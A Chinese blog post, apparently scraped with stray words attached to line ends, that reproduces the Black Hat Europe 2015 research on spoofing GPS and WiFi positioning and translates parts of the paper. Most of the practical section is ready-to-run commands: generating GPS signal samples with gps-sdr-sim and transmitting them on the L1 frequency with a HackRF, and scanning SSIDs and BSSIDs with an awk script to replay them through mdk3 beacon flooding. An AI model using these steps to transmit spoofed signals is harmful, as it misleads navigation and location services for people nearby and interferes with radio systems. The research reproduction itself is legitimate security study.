lxj616 · 2015/11/20 10:12linux
在剛剛舉行的Black Hat Europe 2015大會上,來自阿里移動安全的Wang Kang & Shuhua Chen & Aimin Pan 展現了劫持GPS定位以及劫持WIFI定位的技術git
因而我用朋友的Hackrf試了一下github
在Ubuntu 15.10中安裝gnuradio以及hackrf工具數據庫
apt-get install gnuradio gr-osmosdr hackrf
複製代碼
請注意,這裏目前沒法使用kali的hackrf軟件包,由於須要-R選項來進行repeat,而kali暫時沒有更新hackrf軟件包至最新安全
編譯開源的gps模擬工具app
git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
make
複製代碼
設置經緯度並生成數據樣本工具
./gps-sdr-sim -e brdc3540.14n -l 30.286502,120.032669,100
複製代碼
而後插上Hackrf,開始僞造GPS信號post
hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0 -R
複製代碼
測試時發現因爲Hackrf自己作工問題,只能堅持連續工做5分鐘,以後噪聲過大致使信噪比沒法知足GPS定位的要求,因此你們在測試時必定要等到準備完畢再插上Hackrf,執行命令後當即查看效果測試
效果如圖所示:google
全部的衛星GPS都是僞造出來的,所以也比較整齊,不夠整齊是由於山寨的Hackrf硬件緣由
這裏的座標我隨便定的,定在吉林省了,上文中給出的座標是杭州
安裝aircrack系列工具
apt-get install aircrack-ng -y
安裝mdk3
wget ftp://ftp.hu.debian.org/pub/linux/distributions/gentoo/distfiles/mdk3-v6.tar.bz2
tar -jxvf mdk3-v6.tar.bz2
cd mdk3-v6
複製代碼
這裏須要修改一下Makefile
-lpthread 改爲 -pthread
以後再編譯安裝
make
make install
複製代碼
把如下內容保存爲wifi-mdk3.awk
$1 == "BSS" {
MAC = $2
wifi[MAC]["enc"] = "Open"
}
$1 == "SSID:" {
wifi[MAC]["SSID"] = $2
}
$1 == "freq:" {
wifi[MAC]["freq"] = $NF
}
$1 == "signal:" {
wifi[MAC]["sig"] = $2 " " $3
}
$1 == "WPA:" {
wifi[MAC]["enc"] = "WPA"
}
$1 == "WEP:" {
wifi[MAC]["enc"] = "WEP"
}
END {
for (BSSID in wifi) {
printf "%s %s\n",BSSID,wifi[BSSID]["SSID"]
}
}
複製代碼
而後掃描wifi(wlan0爲無線網卡interface,我本身的是wlp3s0)
sudo iw wlan0 scan |awk -f wifi-mdk3.awk > result.txt
複製代碼
而後是帶着電腦換個沒有WIFI的地方,由於要僞造WIFI定位,在本身的地點僞造本身沒有效果……而若是身邊的真實WIFI過多則會干擾僞造的可信度
開啓無線網卡的monitor模式,wlan0是無限網卡的interface
sudo airmon-ng check kill
sudo airmon-ng start wlan0
複製代碼
而後用mdk3僞造剛纔iw scan到ssid 的信號,wlan0-mon是用airmon-ng開出的monitor interface
sudo mdk3 wlan0-mon b -v result.txt
複製代碼
若是身邊沒有其餘的WIFI,僞造開始以後就能夠欺騙WIFI定位了,不過若是身邊有其餘正常WIFI時,通常狀況下很難僞形成功
這裏是用Hackrf僞造的GPS信號
如下翻譯內容摘自https://www.blackhat.com/docs/eu-15/materials/eu-15-Kang-Is-Your-Timespace-Safe-Time-And-Position-Spoofing-Opensourcely-wp.pdf 有刪減
1) GPS定位原理
首先,讓咱們明確咱們的需求。咱們想要知道的是咱們的位置座標(x,y,z),若是從一個已知座標(x1,y1,z1)的點A(這個點在現實狀況下是衛星)廣播一個信號,好比說光和聲音或者電磁波,而後咱們試着去測量信號發送至到達的時間差τ1(在gps系統中咱們用的是電磁波,咱們知道它的速度),而後咱們就能得出下面的等式:
這個等式有3個未知變量,所以單單一個等式解不出來,咱們能夠再加兩個已知位置的點(衛星),咱們把它們記做(x2,y2,z2) 和 (x3,y3,z3),而後就是下面的方程組
如今咱們就能解出咱們的位置(x,y,z)了
但在工程應用中這樣還不夠。爲了測量電磁波發送至到達的時間差τ1,須要在電磁波發送的時候寫一個時間戳t1,而後是衛星上的時鐘時間參考值,當信號到達咱們這裏時,咱們提取出時間戳t1,而後計算t1和當地時間t2的差值來計算時間差τ1。然而當地時間和衛星時間並非同步的,會出現一個時間偏移量∆t1,因此這個時間偏移量也要被考慮進去,因而修正後的方程式以下所示:
譯者注:因此有4個變量,就須要4個衛星來創造4個等式啦,如下高等數學內容略,以上內容說明咱們須要僞造至少4顆衛星的信號才能使gps定位
2) GPS信號幀:GPS信號幀的結構如圖所示:
GPS信號的比特率爲50 bps。GPS衛星在不一樣的頻率和幅度上廣播GPS信號,民用最經常使用的是L1 信號。
GPS信號的強度很是弱,大約在 -130 dBm 左右,而且大多數GPS接收器在室內不起做用,這就使得GPS信號能夠輕易地被嗅探或僞造,至少攻擊者不用爲了蓋過真實的衛星信號去發射大功率信號了
3) BRSC 數據:BRSC(廣播星曆數據)文件包含了天天獨特的GPS衛星ephemeris數據,Ephemeris數據提供了每顆衛星確切的位置信息(xi(t),yi(t),zi(t)),因此接收者就能夠以此計算位置數據。你能夠以RINEX (與接收器無關的交互格式)格式從ftp://cddis. gsfc.nasa.gov/gnss/data/daily/下載BRDC檔案
這些檔案按照以下格式命名(以下表所示):
舉個例子:‘brdc3540.14n’意味着2014年的12月20號
譯者注:以後是介紹開源項目以及各類sdr平臺的使用,因爲我只有hackrf,因此把本身用hackrf實際測試的過程和結果放在了0x01部分,若是您有其餘sdr平臺,請參照原做者文章進行實際測試
因爲GPS定位在室內沒法使用,各類定位平臺廠商好比蘋果地圖、谷歌地圖、百度地圖一般會使用WIFI信號來幫助用戶得到更好的定位
原理很簡單,手機的無線芯片能夠提供周圍熱點的掃描結果,最能用來定位的關鍵信息是SSID和BSSID,SSID是熱點的名稱,而BSSID則是AP的MAC地址。定位平臺廠商蒐集SSID及BSSID和GPS數據一塊兒存入他們的數據庫,有些時候信息蒐集是經過終端用戶的手機來實現的,好比在蘋果的位置服務問答上寫着:
「相反,咱們維護了一個在您當前位置附近Wi-Fi熱點和基站的數據庫,其中一些可能離你的iPhone一百多英里遠,來幫助你的iPhone快速準確地計算出當前的位置。若是隻用手機GPS來作衛星定位,最多可能會用到幾分鐘的時間。 iPhone能夠縮短這個時間,在短短的幾秒鐘內經過使用Wi-Fi熱點和基站數據快速定位到第二顆GPS衛星,甚至只使用Wi-Fi熱點和基站數據進行三角測量來獲取其位置,尤爲是GPS不可用(如室內或地下室)的時候特別有用。這些計算使用的是由數以千萬計的iPhone發送的匿名和加密的附近的Wi-Fi熱點和基站的地理標記位置,以產生Wi-Fi熱點和基站數據的數據庫。 」
因此,咱們要是僞造一些SSID和BSSID會發生什麼呢?最簡單的方式固然是手動掃描出一堆熱點的信心,而後買一大堆路由器來僞造出這些熱點,可是這麼弄難度有些大,因此咱們須要一個更好的辦法。
譯者注:就是僞造一堆SSID名稱和MAC地址,而後這個列表上傳到地圖數據庫做對比,而後就僞造定位了,原文下面是具體的iw scan和mdk3的介紹,就不所有翻譯了,經本人實際測試的過程和結果如前文0x02所示
譯者再注:要想僞形成功,你僞造出的SSID必需要遠遠多於正常SSID數目,也就是說你在一個可以WIFI定位的地方要想僞造定位基本不可能成功,由於身邊正常的SSID太多了,不過你仍然能夠經過手機WIFI鏈接菜單看到咱們僞造出的SSID名稱,能看到名稱就說明實驗原理成功了
《Time and Position Spoofing with Open Source Projects》 Kang Wang ,Shuhua Chen ,Aimin Pan
1 Dong L. IF GPS signal simulator development and verification[M]. National Library of Canada= Bibliothque nationale du Canada, 2005.
2 Akos, D. M. (1997), A Software Radio Approach To Global Navigation Satellite System Receiver Design, Dissertation, Ohio University.
3 Kaplan, E. D. (1996), Understanding GPS, Principles and Applications, Boston: Artech House, Inc.
4 https://play.google.com/store/apps/details?id=com.chartcross.gpstest
5 http://www.pseudocode.info/post/50127404555/ beacons-beacons-everywhere-using-mdk3-for-ssid
6 https://github.com/osqzss/gps-sdr-sim
7 https://en.wikipedia.org/wiki/Global Positioning System
8 https://en.wikipedia.org/wiki/GPS signals